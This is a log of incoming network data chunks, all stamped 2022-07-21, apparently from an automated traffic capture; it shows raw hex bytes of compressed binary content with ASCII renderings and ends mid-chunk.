2022-07-21 02:34:44 UTC	4488	IN	Data Raw: b2 c3 d9 c2 bf a7 e9 3a ea 33 ed 5b 74 1b 7b 65 4d 19 64 81 ec 95 a1 76 95 05 3f 11 a5 c0 ce 54 96 26 8e ef 99 12 cb dd e7 8e 6d 4a ef de 91 56 8d 33 f0 26 8c e3 4a 68 af 1d 42 12 07 72 68 1e f9 a0 93 ff 00 52 26 d6 93 89 54 de 51 60 41 6b af 36 38 fb 3e cf b3 4c 2c a9 a2 f0 3e 8f 77 aa a6 31 5e 37 ad bd 82 a3 5a f3 62 0d 01 2d da 0f 03 f4 6b 1c 8d b2 6c 09 ce 34 e6 82 a1 89 43 c5 aa 38 59 ee e9 aa 2f 57 19 12 34 ea 48 5d 54 25 39 d9 ab 45 b5 7c fa 13 3a a9 57 53 90 24 7f 65 1d 39 94 83 d8 29 5e db 9c ad 4c 60 39 87 fc 74 76 df 93 16 4b 11 2d 23 b5 a8 2a 69 5f 87 4f b6 af 44 67 4f 2a 19 3a 31 af 11 20 67 17 a9 e6 44 49 63 89 79 1b 4e a3 ff 00 6d 97 6d c9 4e 75 79 04 94 68 a4 52 14 a7 2b 5d 7b 3b 49 2a 37 91 1b 42 79 a1 7c c2 5c 95 d5 8a f3 61 d4 dc de 1e Data Ascii: :3[t{eMdv?T&mJV3&JhBrhR&TQ`Ak68>L,>w1^7Zb-kl4C8Y/W4H]T%9E\|:WS$e9)^L`9tvK-#i_ODgO:1 gDIcyNmmNuyhR+]{;I*7By\|\a
2022-07-21 02:34:44 UTC	4495	IN	Data Raw: b2 39 7c 3f 6f 58 e4 ce f9 12 a4 ab 2d b0 f0 06 33 c6 8c 7b 82 e5 fe 6f 9b 4a 7f f9 0c 78 ac 65 13 c8 86 26 0b 25 16 aa 41 f0 37 8b 99 d7 cb dc d7 04 79 57 95 46 5d eb 0e da be 21 c0 bf 6f 03 5a 99 f1 33 99 f2 9a 35 fc c2 32 a8 a8 a5 69 cc bc bf c4 4b 39 5a ed 13 95 bb a6 34 0d 2b 48 b6 d6 aa aa bc 1a bc b7 5e 9c bc 9e ef 7b 5a 7f d6 f6 89 8b e4 a9 05 a5 a1 64 75 e2 2d 27 f0 e1 5f c3 5f 33 77 19 7b da f3 7b de 51 a1 82 38 21 11 4c d2 5a b2 00 0c 6a 47 37 42 4f 8b f1 63 d1 fc b6 67 55 64 6b 5f bd dd d3 9b aa 82 00 07 10 4f ae a8 1f 70 8d b6 f6 93 26 bc 40 58 c5 2b 56 23 a8 8d ee fd ed 45 66 fa 96 6c 75 e9 e5 a4 53 c0 ef c1 56 8c 80 57 bf 78 f9 88 cb dc f0 68 9d c3 09 30 76 f4 59 99 03 29 51 32 c5 5a bd df 51 e5 e6 5f e5 ea 76 1c 59 f3 9a 68 30 dc e3 63 31 Data Ascii: 9\|?oX-3{oJxe&%A7yWF]!oZ352iK9Z4+H^{Zdu-'__3w{{Q8!LZjG7BOcgUdk_Op&@X+V#EfluSVWxh0vY)Q2ZQ_vYh0c1
2022-07-21 02:34:44 UTC	4511	IN	Data Raw: ee 3b 67 4e b6 e1 85 8b 16 52 5d af 56 a3 96 25 1d be 4a de fd 36 fe 12 7d bd 6a 6e 19 02 00 42 92 da b1 66 e9 cb c1 d7 d7 dc a4 94 12 45 58 6d 43 17 78 c0 49 52 30 81 c5 59 1d 89 62 2b f8 97 2f 9f df d3 5c 2d 87 1b 06 49 9b 1d 44 2d 41 57 e3 42 29 fa 6d e4 d4 b7 5f 1b 61 55 c6 c2 88 17 51 49 32 5c 32 96 3d b6 aa 55 7e 5a 78 6f fb ba c3 d4 be a1 6c 5d bd b1 71 e6 8e 6c 99 14 a3 ac 7d 88 18 54 c9 77 f1 5d a3 fb ba f3 66 09 65 93 08 8b 2c 72 b6 99 78 32 ea 7f ff 00 25 32 b7 b8 1c 48 a0 fd 45 eb b9 30 9e 5c 3d b1 23 92 58 f9 5b 2d a8 58 b5 79 fa 4a c2 ce 9a fe 1d df 6b 50 d9 33 4d 3c 66 7c 86 05 8f 78 0f 65 4d 7b 2b 64 7e 5f 0f ed 68 59 54 06 58 c9 ab af 16 fe ed da 06 66 19 0e 5a 36 2b 71 1c 35 ea 76 7b 38 60 00 20 b7 89 ed cc df 4f 66 a5 cb b5 ec 7e aa c5 Data Ascii: ;gNR]V%J6}jnBfEXmCxIR0Yb+/\-ID-AWB)m_aUQI2\2=U~Zxol]ql}Tw]fe,rx2%2HE0\=#X[-XyJkP3M<f\|xeM{+d~_hYTXfZ6+q5v{8` Of~
2022-07-21 02:34:44 UTC	4527	IN	Data Raw: d8 df 0f 7f 55 ef bb 6d ad 2f 47 22 af 12 0b cb b2 38 62 de 1e 85 a9 1b 33 7f 9a cb 0f bb ae 74 dd 47 38 70 d9 a2 6a b8 e3 e5 c8 bf 17 b5 d7 cf ed 54 ac 85 97 f3 39 18 75 28 ad b3 6d db 6e 62 3c f1 33 fd 13 31 24 02 de 15 b1 b9 f9 ff 00 87 ac 91 f2 71 26 19 52 46 f2 31 50 01 b8 06 55 03 95 56 39 6e 5f d6 d3 17 cb da b7 48 e1 96 39 55 62 59 49 09 31 0a 78 0b 6f 6b 3a 9c 9e 4e a3 75 1d b4 49 c5 db a4 c5 55 67 92 58 94 9e 4e 66 e2 7b 15 1e ef 0f c3 a2 4d b7 63 29 57 6b 07 5b b3 39 56 46 f7 79 e8 eb 32 3d 9a c5 83 5e ed 8f 35 4c b3 63 41 98 e6 79 25 63 92 b7 3b 18 fe 60 2a 3b bf f6 e5 ba 9c ba 5a 1b 17 72 63 8d 19 6e 9d 7b cc 8c 3f 51 2e 6f b5 a6 b9 db 5f 5a 46 9c 45 22 1a 8b 1d 4b 76 79 59 5a ee 5d 1b b4 60 47 34 c5 dc 8b d8 81 c2 9c 0f 7b dd b7 50 db 70 14 Data Ascii: Um/G"8b3tG8pjT9u(mnb<31$q&RF1PUV9n_H9UbYI1xok:NuIUgXNf{Mc)Wk[9VFy2=^5LcAy%c;`*;Zrcn{?Q.o_ZFE"KvyYZ]`G4{Pp
2022-07-21 02:34:44 UTC	4535	IN	Data Raw: c1 e2 a0 a2 d8 2b d8 2b 68 f2 dd a5 f9 bb 64 d8 91 24 b3 91 d1 91 aa a9 75 c6 a4 55 df cb 77 9f 42 64 42 98 d2 d1 78 d3 da a4 8f bb ad e8 f6 f1 13 91 3e 65 ef 8d f9 a8 40 d8 0b 1d 29 f9 da f7 0d f1 63 79 0a 44 83 88 2e 6d a5 7d df c4 66 d5 2e c5 8c 76 67 26 6c b1 39 6e 05 22 52 e5 bf 6f f6 35 03 05 a9 22 b6 42 b1 8a a2 a1 5b 8d 3e 26 d5 ee d1 bc e1 cb 6c 58 48 4d 05 6d 8f b4 01 db fe 2b b4 9e f5 24 11 e2 35 8f d0 aa b8 af c7 cf 52 2c 4d cf 1a b7 db 27 89 1e fc 73 2b 4a 2e 6b 1d 4a 1a a8 ee aa bb 3f 33 2f e1 f3 7c c4 59 63 f8 5f e6 c7 89 9b 1f ff 00 ad 61 88 a3 aa 39 62 28 1a de 78 fd ee 4e 6e 4f 7b 53 72 36 56 5c 74 fc ba a1 11 5e 5c b9 47 08 39 a2 75 69 55 21 fc 5f c3 f9 97 5f dd d6 89 7d 45 9b b7 15 87 35 12 45 08 af 12 70 62 d5 54 46 9a 49 12 49 5a 1b Data Ascii: ++hd$uUwBdBx>e@)cyD.m}f.vg&l9n"Ro5"B[>&lXHMm+$5R,M's+J.kJ?3/\|Yc_a9b(xNnO{Sr6V\t^\G9uiU!__}E5EpbTFIIZ
2022-07-21 02:34:44 UTC	4551	IN	Data Raw: 81 79 75 b7 17 62 5c 8c d1 81 00 63 1c 25 43 96 1c 79 69 d4 bb e2 d7 52 cb 81 e6 54 8f f1 5c 2f 9a d0 a4 8e 4e ef bc be 4d 24 db 30 22 da 61 38 f9 73 44 b9 52 12 f3 35 4d 6e ad 4a fc 3a 5f 7b 1c ce a1 d6 d1 86 51 89 93 f2 c2 b3 2f 7f da ee 75 50 48 57 50 0f 1e df 52 fb 34 6c 98 4b 14 67 a4 52 04 8d 6a cb 40 14 2f c5 a9 fd df 3b 17 72 c8 8a 08 32 15 e3 01 6e 2a 39 47 1e ce 4f 1b 69 a9 da 76 cc 95 55 9e 69 9a 39 98 d4 f5 39 5e 9e ef 79 97 48 33 b6 98 b1 f3 9a 3c 74 48 61 8e 96 30 05 98 fb 6f b2 bd ef 0a f8 b5 92 36 f3 6d 94 ac b2 96 40 b7 b2 63 8f 37 df 7f 65 f1 f8 e8 8b c6 eb d8 38 91 45 6f 38 d9 d3 a1 9f 06 cc 89 63 8e 81 c8 e1 1a 93 46 21 db f8 9a 06 30 90 41 04 ab 29 97 2a 52 2f 58 e2 2a d5 1d d2 bc d7 74 a3 f3 72 eb c9 72 46 12 52 33 24 b5 04 b0 35 53 Data Ascii: yub\c%CyiRT\/NM$0"a8sDR5MnJ:_{Q/uPHWPR4lKgRj@/;r2n9GOivUi99^yH3<tHa0o6m@c7e8Eo8cF!0A)R/X*trrFR3$5S
2022-07-21 02:34:44 UTC	4567	IN	Data Raw: 46 c9 c9 b7 0f 5d 35 cf c9 c6 96 09 21 c8 81 96 61 c5 5d 48 a0 3f 49 5f 2b ae 97 c5 89 29 84 3c 23 a9 09 60 19 90 f1 5a fb 24 5e f2 68 dc ad b8 e0 3a 2e 40 26 19 d5 4a 3f 79 48 22 e8 d8 37 79 3e 1d 3b 93 0e 21 1a e1 6d cc 15 58 ac 92 58 49 76 36 24 76 79 fa 77 34 b2 b4 7f dc d5 5b 74 11 82 a8 3c fd 47 d1 8f f1 3e 3a 04 6a a2 3c 80 b6 3e ad 32 a9 ac ad 83 36 3a c8 91 33 c2 a4 06 61 c6 da f9 b4 c6 5d ae 4d a7 19 84 f6 32 5e 8c 18 10 69 50 6c 5f fa 9e ee b2 df 3f ed 81 86 e5 14 15 42 84 9a 91 de 5b f9 5d 7e da 69 16 6e 64 d3 81 7f 11 4a 9e 1a e5 2f 20 03 a6 c7 5b f7 aa 40 69 14 6a 2d db eb aa 3c 77 c9 dc 55 a6 9e 30 1f 81 05 69 cc 0f f9 3d e7 fb 1a db b9 63 e4 c3 80 f1 63 5a f0 5e 19 dd 7b 78 77 6f 8d f9 ba 7f 67 bd a0 36 58 31 f2 84 45 0b 16 0a 44 a8 4d 08 Data Ascii: F]5!a]H?I_+)<#`Z$^h:.@&J?yH"7y>;!mXXIv6$vyw4[t<G>:j<>26:3a]M2^iPl_?B[]~indJ/ [@ij-<wU0i=ccZ^{xwog6X1EDM
2022-07-21 02:34:44 UTC	4575	IN	Data Raw: 8a 80 1c 80 c7 c3 58 ec 66 66 d4 ee 2b df 1f 00 43 76 1a e9 f4 65 9a 26 28 d7 52 48 56 c7 16 50 de f5 19 b2 b0 0d 60 6d dd ae b1 bf 7a 2f 6f cc 8a e5 59 24 6f e1 8b aa 4f ba cf e1 d4 8f a7 f7 6c ef 4c e4 be c9 96 4c 51 4c ff 00 2f da 2e 3c a1 78 8e eb 7e de ab 7f f9 0e 1c e7 1d 71 5d 84 56 84 31 d3 88 1e 37 65 5f de d6 9f 52 6c 78 7b ec 10 e3 e2 64 07 91 5e e0 6c 25 94 01 e6 f2 af 97 59 9b 69 53 cb fe 9f 74 5e f2 13 6b a3 7e 53 77 7c 7f ab 57 55 69 2d ca 03 8d 55 bc 5e f5 66 7d 0b 97 8c 7a f0 64 08 25 5a 95 5f 60 27 8f 86 fe f6 8a 93 23 d5 0b 6c 51 49 8c fd 2e 05 94 57 b7 f8 b2 2c bc b7 2f 7a dd 7b e9 d8 1f 7e 2d 89 1e 50 eb 63 d1 95 98 35 5a 9d 92 f4 dd bf bf ab 1c 29 1b 1a 18 fa 8c ec f3 70 66 28 00 04 7b bf c3 57 f7 b5 47 62 8a 24 9d 2e 88 df c4 38 3b Data Ascii: Xff+Cve&(RHVP`mz/oY$oOlLLQL/.<x~q]V17e_Rlx{d^l%YiSt^k~Sw\|WUi-U^f}zd%Z_`'#lQI.W,/z{~-Pc5Z)pf({WGb$.8;
2022-07-21 02:34:44 UTC	4591	IN	Data Raw: 9a 5f 2e df 8d 91 b9 66 60 15 fe 33 88 ee ed 22 ad 6a ac 9e 7f da d6 82 e2 77 1e 4d c8 97 0c 8f 80 d0 62 2d ac 87 8e a8 e9 e1 92 3e ac 6a 60 8c b8 a7 39 78 af 46 24 f7 4f d3 e1 d3 1d b2 45 30 be 30 40 f2 32 f1 46 24 50 ff 00 36 2f 7d 34 37 fa 06 74 59 67 13 18 48 ec 7b b6 82 7d b6 f3 f9 6d 6e 56 d7 49 d9 3f db 84 08 b9 9b c1 bf 21 29 45 8c d0 70 fe 61 5e f7 d8 d0 37 db f8 b6 69 69 5f 9f b1 2d 93 1f 86 8c 17 31 7b 02 a7 b7 b6 a1 f1 77 ac b4 20 4a ad 38 b4 aa 5d 52 c0 7d 0a fd eb 75 6f b2 66 36 d7 b4 e5 65 65 23 08 24 4b 23 0e 28 4b 48 3a 4e ac 9f e5 f7 97 dc d5 03 42 d8 e3 a9 84 b1 b2 28 a3 28 51 50 3e 0e f6 b5 34 f8 d9 71 f4 a4 56 05 8f 75 6a cb 5f f9 4d af 3b b8 f9 80 dc c6 23 31 fe 58 60 c4 2b 70 d7 26 e4 ee 54 09 51 58 90 2c 6c 57 2a e5 fb ee cd 3c 58 Data Ascii: _.f`3"jwMb->j`9xF$OE00@2F$P6/}47tYgH{}mnVI?!)Epa^7ii_-1{w J8]R}uof6ee#$K#(KH:NB((QP>4qVuj_M;#1X`+p&TQX,lW*<X
2022-07-21 02:34:44 UTC	4607	IN	Data Raw: 7e 67 c9 7f 17 c1 e4 d3 3d b3 37 f3 d8 e4 2c a1 a4 c7 3d 46 0c b7 10 01 bb 87 0e a5 be 65 56 fb ba 84 49 55 5c 1e c2 0d 41 f6 52 9a 62 f9 e7 06 48 c4 71 88 a5 b8 49 d4 52 6e 17 05 e5 49 2b dd d5 a5 da 97 e9 24 2a d9 94 1e 6c 7d 9a 9e 45 37 03 2b f2 d5 6e f5 b9 ee 32 1c 7c 94 31 48 d7 b1 8e 78 94 07 00 72 aa 64 ac 5f 25 9b cb 3f e2 74 ff 00 13 4e 36 0c 98 37 78 f1 e7 cc 8d 65 cb c6 90 2c 80 80 c1 e8 dd bd 9c c9 2c 5c ad 1f 77 ab dc e7 d2 04 c8 5c 88 51 f6 e8 e5 8d 10 12 50 b1 6e 60 c1 be 1b e7 8b 95 a4 58 fa 7e ef 3e aa 7d 29 ea 7c 6c 75 91 a6 c0 53 21 0b 62 44 40 a8 50 dd 49 7f 2c 3a 6e f3 79 dd 39 b9 2f d0 9e 57 93 2c 7c b5 6d 31 cc f4 30 6f 67 e9 e2 a8 54 b7 31 27 d0 4d b9 aa 37 37 f3 5b 84 f2 6d 8b d3 50 ac f2 27 57 90 ad c0 7c a5 9a 5e 6e 97 82 28 dd Data Ascii: ~g=7,=FeVIU\ARbHqIRnI+$*l}E7+n2\|1Hxrd_%?tN67xe,,\w\QPn`X~>})\|luS!bD@PI,:ny9/W,\|m10ogT1'M77[mP'W\|^n(
2022-07-21 02:34:44 UTC	4615	IN	Data Raw: 61 6e 3e cd 33 f4 5e 26 0a 4e f9 59 28 b3 43 13 50 5e 40 1d bc ae c3 5d 76 3d cb 6d c6 c6 69 1e 45 87 11 c9 06 39 94 58 c4 f8 93 a9 e1 d7 27 f4 6f a8 0e cb 04 b1 c2 b0 bc a6 8c a2 44 2c cc 7b 3a 51 5b e7 f3 6a e3 1b d3 d9 3b ae 67 e7 b3 f1 96 4c 99 16 ab 05 85 61 83 e1 17 fc d9 3c f2 be b3 37 91 96 dc 34 c5 dd 59 46 31 a4 6c de 64 99 72 f2 2f ef 57 42 c3 10 2d 6b dc fb 34 79 df 76 7c 58 94 6c af 8f 34 f1 b5 16 8a 14 02 7f 86 85 55 51 62 bb bd a6 11 6f fb 84 ec 22 9f 08 34 ac a5 0c b0 95 e2 7b cd 12 dc 7c bc da f7 07 0e 3d b2 fc 5f cb e3 ca 90 f1 ab 73 30 24 70 4b e9 7c bf 16 b9 ef aa 33 70 f1 b2 cc 99 d1 84 14 a1 58 d2 d1 ff 00 4e 9d ef 79 d7 56 d9 c4 cc 3f 29 c8 29 92 0e 5f cd 8d f2 ef fe 5c 4b ed 7f 9b cd 47 c4 63 93 01 cb de 3d eb d5 2a e7 c1 98 72 36 Data Ascii: an>3^&NY(CP^@]v=miE9X'oD,{:Q[j;gLa<74YF1ldr/WB-k4yv\|Xl4UQbo"4{\|=_s0$pK\|3pXNyV?))_\KGc=*r6
2022-07-21 02:34:44 UTC	4631	IN	Data Raw: d8 28 a1 b4 83 46 ea fc 52 78 be 1d 75 78 33 60 dc 71 98 e3 48 0d bc 29 c4 11 c3 b6 8d cd a3 bd 49 b2 62 7a 8f 60 8b 70 8d 02 e5 e2 c3 43 4a 1a d9 cb 2a 3f bc 9d fd 4f ca da 60 b2 17 62 52 1b 13 1b 75 af fa 89 53 fc 34 62 46 82 d7 1e cd 7e 78 cd c7 91 32 5a 2a 10 41 b4 8f d1 ad 70 62 e4 07 2a aa 4f 29 24 53 d8 3b 7e ee 9d 98 b2 31 b2 ad b1 66 49 09 a8 7f fe 8d e1 6d 37 c6 11 2f 53 2b 04 d0 a4 2e 92 46 48 af 3f 22 c8 8d 5e 75 f0 eb d3 49 31 45 b2 a9 27 1b 8f df aa f9 ea 00 bd ac 7b 7b b5 1b 88 f2 4d 3a 42 86 d2 c4 29 3a 71 74 46 b1 dc a4 f9 98 f6 53 4b 22 85 b1 da b2 0e 6a 56 9f a7 5e e1 e3 99 2e 6a 1e 03 8f e8 d1 1c a3 71 e0 38 55 d9 6e 46 b6 b7 1a 63 85 b9 3c 8c 98 d2 1b 56 e1 75 7b 29 e6 6d 3d da 30 36 fc fc c5 9f 12 52 24 86 4b d9 4f 00 c0 77 dd 6e d2 Data Ascii: (FRxux3`qH)Ibz`pCJ?O`bRuS4bF~x2ZApb*O)$S;~1fIm7/S+.FH?"^uI1E'{{M:B):qtFSK"jV^.jq8UnFc<Vu{)m=06R$KOwn
2022-07-21 02:34:44 UTC	4647	IN	Data Raw: a6 66 74 89 40 0c 2b 56 5b ae 23 c2 ff 00 7b 97 97 41 f9 a4 6c 62 2c bd 9e 9a 67 6f 60 6b a8 e3 66 26 12 91 29 3c aa 38 d3 ff 00 cd ab 7d 9d 24 c6 f5 56 2e e7 b9 08 21 4b c1 20 06 24 d0 11 c5 85 a7 c3 ff 00 e1 2c f3 69 ec f8 3f ea 18 ee 95 68 cb 8a 16 5a dd d8 07 b7 50 db 46 c3 2e c3 b8 d0 4a b9 10 46 43 38 53 4a 8a dc 63 95 b9 ba 7f 86 bf 77 5e 4f 65 2e d9 e0 92 29 54 09 0f 03 d3 f7 bd fa 66 4c 81 cd 75 f4 8a 8c df 46 4c d9 39 8c 11 da 15 c8 b9 e8 18 05 66 af 2c 8a dd c7 4e 7e fe 92 07 8d 14 a0 6a 3f 1a d7 b2 9e cd 75 6c cc 9c 5c c7 cd 97 36 c9 b0 07 3d 52 21 14 a1 b9 57 a5 20 c6 1c b2 27 8f ab f2 26 ef 47 25 cd ae 63 b9 be 14 79 37 63 06 29 71 ef 53 bb e0 e7 fe 27 dc 4d 7a ed a1 b1 30 95 25 14 00 8f 6e 57 f8 be 1a 45 b5 3a f6 eb 6a 1a 1c d7 58 e4 48 a4 Data Ascii: ft@+V[#{Alb,go`kf&)<8}$V.!K $,i?hZPF.JFC8SJcw^Oe.)TfLuFL9f,N~j?ul\6=R!W '&G%cy7c)qS'Mz0%nWE:jXH
2022-07-21 02:34:44 UTC	4654	IN	Data Raw: 62 bb 58 40 89 4e 28 35 ff 00 53 db 7f 13 d4 3c b6 92 ef c6 f6 fb 7d 34 8b 6d 29 24 a5 a5 56 99 dc 1a 82 78 93 e6 bf 5f 26 52 e3 ca 41 46 07 e8 fa b4 4e cd 22 ab b7 4d ac 2a 48 57 65 aa 9f f9 ab e0 f8 d7 5e 7a 95 16 37 8d 51 48 76 5b 89 a7 d2 7c 2d e2 5d 1a f7 7f fe 7f ab 52 cc 33 0a 47 55 ec 7d 15 bb 12 6c 2c 8c 85 33 56 b5 ad 1b 85 4f 96 bd dd 63 8c 91 3e 58 58 9a 90 96 ef 1e f2 2f be 3c 56 eb 4e 74 10 26 14 33 33 83 92 ee 78 0e cb 14 0b 5b e2 79 35 a6 3c 95 8e 3b 81 00 1f 60 06 b5 fa 2e d4 5d 5e ee b7 0c 2e 99 7d 47 ba ad 55 68 f4 e5 e1 e8 3d 37 aa cd d2 b8 09 fe 99 13 54 cc 43 5f 4e 04 8e 74 5f 85 f4 2e cf bb cb b3 e4 45 91 0c 8b d5 49 03 30 6e 00 8a 59 d3 f8 2d ef 69 54 33 3e e3 de 91 9e c1 40 09 24 af d1 f6 74 76 1e 5b ec 6e f8 cf d2 97 1a 74 56 66 Data Ascii: bX@N(5S<}4m)$Vx_&RAFN"M*HWe^z7QHv[\|-]R3GU}l,3VOc>XX/<VNt&33x[y5<;`.]^.}GUh=7TC_Nt_.EI0nY-iT3>@$tv[ntVf
2022-07-21 02:34:44 UTC	4670	IN	Data Raw: bf dd d5 3b 64 0c 98 b1 e6 2c 63 08 b4 b4 54 f2 f2 f5 2f f1 dd c9 f0 3a ea 7f 79 c1 7c da b4 24 05 88 00 b4 00 02 2e 58 b8 fb d7 73 73 73 f9 b4 d7 19 d3 02 a8 b2 b4 88 43 f2 9e 02 80 5c b5 5f f3 15 6d 6f e5 fd ad 25 28 0d 12 5b 56 5c b4 a7 87 59 f4 1b 56 ad c2 49 72 9d 04 75 10 c6 a4 b9 a9 a7 cc 0b 2f d9 e5 65 46 4f ef 69 1e e0 b1 a5 ce 51 94 8b 5b 81 14 1c 6c 35 f7 b5 59 85 90 60 c7 ca ad 0a b7 49 c5 c3 94 37 1a dd f1 2c 6b 66 a7 b2 a4 fc fc a8 24 a2 c2 c4 b7 1f 61 3d f6 b7 e1 48 f5 6d bb 10 d6 b5 95 3b 7d 3f cc a8 90 7a f5 35 8e 0e 43 b4 76 fb 1b b7 b2 a3 47 47 9c 9d 11 d3 8d 18 13 6d 69 53 5a fb 3c ba 49 9f 96 30 59 95 b9 24 00 8b 7b 2a 08 d6 1b 6e 51 c8 c7 55 6e c5 e0 38 7b 6b a6 1b 6e 59 7c db 72 de a8 af 6e 5a 7a b8 52 11 40 09 15 05 ae f6 0d 0b 36 Data Ascii: ;d,cT/:y\|$.XsssC\_mo%([V\YVIru/eFOiQ[l5Y`I7,kf$a=Hm;}?z5CvGGmiSZ<I0Y${*nQUn8{knY\|rnZzR@6
2022-07-21 02:34:44 UTC	4686	IN	Data Raw: ce f1 7c 1a d9 81 15 b8 d2 b6 07 34 d6 32 1a 77 ca b1 e7 60 bf 07 2f 2f 85 b4 ff 00 64 92 18 f1 72 51 8a f4 a6 48 81 56 3d be 6f 7b e2 d5 1a 46 66 2c b6 e4 64 40 1f 8f e6 37 96 cd f7 eb 98 47 1a fe 52 dc 8b b3 05 e5 6e 5f cc c6 a4 70 b1 e4 c7 46 7b 7a 8e dc 29 ec b6 9d eb fd dd 3d d8 3f 31 97 5c 29 24 22 1c 85 08 e2 b5 01 6b 55 b2 be 25 d0 f9 7b 6c 9b 3c 92 e1 a5 68 c6 a8 7d c2 2f ed d6 97 c9 c7 9a 27 c3 89 99 2f 65 26 4a 56 81 7c 1e 6e f3 77 b4 7d d4 49 8d 9e ec c7 50 2d d1 e0 6f 83 ab f0 55 3c e3 27 34 63 b3 53 fb b4 b7 37 0d 71 32 24 48 1c bc 6a ec 23 7e cb 94 1e 57 fb 5a d4 ea 20 5a 37 02 7d 9f a7 8e aa b7 4f 4f e3 6d f0 e3 2e 24 e2 43 24 57 4a cc 7c 44 9b 15 55 6e ee ae a7 a7 58 b1 5b f2 f9 42 a1 85 43 0e d5 3a bc 2c 25 81 5c 86 21 b8 33 0c 09 c3 97 Data Ascii: \|42w`//drQHV=o{Ff,d@7GRn_pF{z)=?1\)$"kU%{l<h}/'/e&JV\|nw}IP-oU<'4cS7q2$Hj#~WZ Z7}OOm.$C$WJ\|DUnX[BC:,%\!3
2022-07-21 02:34:44 UTC	4694	IN	Data Raw: b9 a9 5a 0b 9b bd e6 f0 a2 e9 b0 f4 36 f3 b8 c9 73 c0 ed 92 45 48 5b 48 5a 72 db 2f 32 f4 fe d6 b4 1d 87 77 67 30 c7 74 92 63 8b a6 88 29 b9 07 8a eb 79 7b be f6 9b 07 23 6d 2d da 4d 1b c8 17 69 17 9d 6d cb aa e5 8f b6 b9 72 49 ec 54 dc 59 10 ad 4c a8 4d 45 05 0d 38 e8 cc 8b 92 18 51 b8 12 6e a7 d5 fa 75 53 e9 df 43 9d fd 5f a0 82 3e 88 24 bb 13 6b 7d 09 6a dd cd a2 f7 ff 00 41 6e 87 11 73 a6 e9 47 61 01 63 35 ea 11 d8 1d bd df 73 43 69 63 f4 8f ae b9 fe 5a d0 97 8a 46 5f 32 d8 84 1e 33 dd e6 e5 e9 ae 7d 98 8e b1 97 8d 5a d1 4a fd 1a 1b 1f 11 b2 63 79 41 a2 c6 2b 4a 76 ff 00 5f 87 5d 54 7a 17 70 dc 30 96 18 8a 82 e2 85 78 77 a9 dd f3 6a 73 17 d1 d9 c3 12 68 c9 55 28 e5 1a a6 9c 47 7b b3 52 92 46 c8 1d 48 60 47 11 50 7e 5c 53 11 13 09 85 ae d8 f7 1b 9b 92 Data Ascii: Z6sEH[HZr/2wg0tc)y{#m-MimrITYLME8QnuSC_>$k}jAnsGac5sCicZF_23}ZJcyA+Jv_]Tzp0xwjshU(G{RFH`GP~\S
2022-07-21 02:34:44 UTC	4710	IN	Data Raw: 97 ee 69 33 00 24 aa 9e 62 74 5b 71 ca 82 bf 23 c9 11 bc d5 06 5b 64 9d f8 f2 ea a9 54 c4 ca c3 81 b3 44 0c 21 1c ac c2 86 95 f8 bb ba 22 6d b6 69 16 09 25 4e 9a d2 d7 20 d6 45 14 b9 5a 41 fc 3f 72 ed 50 ef 18 bb 86 53 cd 3c c2 ae a8 bd 68 ef 05 e9 18 8c 99 5d 2b f3 23 6b 6f b9 6f f3 6b 3c 0d e3 39 b1 e7 8e 51 29 89 f1 dd 4f 21 35 af 2a f3 53 bb d4 6d 30 9b 68 83 64 72 b8 5c ae dc b7 c7 aa 9f 8f e4 1b 74 fc c3 27 98 aa 11 9a 3c b1 cb c6 b9 7e 1a 9c 3b 4e d9 d1 75 37 c7 22 86 2b 25 d5 fa d5 5e 2a 5a df 67 a7 a1 76 48 71 c8 2f 95 0b ba 52 89 47 b7 8f 89 fb 1b 4f 33 93 34 63 1d b2 61 f9 78 b2 15 48 b9 41 14 bb f1 ae 5e fb f9 ad e6 fe 1e 8b dc 36 18 70 a1 55 c6 73 24 90 5a 84 a9 b8 38 7f c3 e4 b5 5a 1e 6e 57 ff 00 99 a9 9a 36 2a 64 6b e2 0d ec bc aa bf e9 d6 Data Ascii: i3$bt[q#[dTD!"mi%N EZA?rPS<h]+#kook<9Q)O!5Sm0hdr\t'<~;Nu7"+%^ZgvHq/RGO34caxHA^6pUs$Z8ZnW6*dk
2022-07-21 02:34:44 UTC	4726	IN	Data Raw: e3 ae 2a a4 76 fd 75 0f 99 e9 ad ea 19 1a 31 87 34 f1 8e cf 60 27 de 2a dc f6 f9 b5 a7 33 d3 db 8e 5a a3 e2 6d 73 61 64 44 2a e4 31 2a d4 ee ba 5f 73 75 6e d7 40 8b d4 53 0e c7 4f d0 c0 8f fc 35 97 ff 00 25 c8 5e d0 8d f4 10 68 34 65 f9 96 ed 6e 04 51 dc fb ff 00 b5 50 51 09 24 f6 8b 11 51 a9 b8 6e 90 64 22 ee 38 33 cd 2a 8a 19 d8 3d c0 53 ba 15 16 cb 7f 6b 48 7d 7d be 3e 54 50 e2 3a 74 df f1 18 18 d9 1b ca 8b f3 3b c9 ae ac 9e a4 95 09 24 13 51 c0 02 38 1d 22 de 9a 3d f4 91 99 14 72 7d 05 94 5d f7 86 af b3 de 2c 7b 94 9a 48 40 09 e0 7f d5 6a b6 2b 63 cd d9 61 5c 4a 39 6b 4a 9a fd 5a eb 3f ed f6 da fb c6 d8 d8 d1 7c bf 9b 57 96 d6 26 da 77 17 a7 6f 36 83 5f 47 6d c3 83 c2 9c 7e 86 60 7f f1 d5 76 c1 27 fa 06 38 c6 c0 5b 62 0c 5a 9d a6 a7 f4 f3 6b 5b 7f f3 Data Ascii: vu14`'3ZmsadD1_sun@SO5%^h4enQPQ$Qnd"83*=SkH}}>TP:t;$Q8"=r}],{H@j+ca\J9kJZ?\|W&wo6_Gm~`v'8[bZk[
2022-07-21 02:34:44 UTC	4733	IN	Data Raw: 43 09 d5 04 e9 5b 6d 51 1d bd 58 e2 b5 6e 89 59 3f 87 76 95 e4 ec f3 41 5c 39 4a dc c0 15 90 10 ca 53 f1 0c 91 49 e2 4b 53 f7 34 cf 07 d3 f8 79 78 6b 91 8d 34 98 c6 9d 36 bf e6 07 b8 d8 39 63 08 f1 ad df 89 f8 9c 9a 14 53 06 ca 37 ea bb 29 53 ee b3 d0 e6 9e 09 a3 cc f1 47 18 48 83 2c 7b e9 97 7b e1 a4 8f d0 cc 00 1e 59 d4 5b 71 60 16 d3 e6 bb 97 97 4b 66 d9 33 31 e7 38 ce 97 ca 28 43 45 ce ae ad cc 8f 1b 27 87 be bf 63 4e 66 f4 d7 24 b1 c1 93 0c 8f 0b f3 a2 96 ad b5 b6 f8 ef 44 46 54 ef c9 e2 d3 4d bb 73 87 26 49 76 f5 e1 04 51 9b 64 a7 31 29 fc 45 6e f2 f9 fe d6 82 a0 42 a1 f5 57 1a 9f 00 ff 00 15 41 0e b2 0d ce d6 47 18 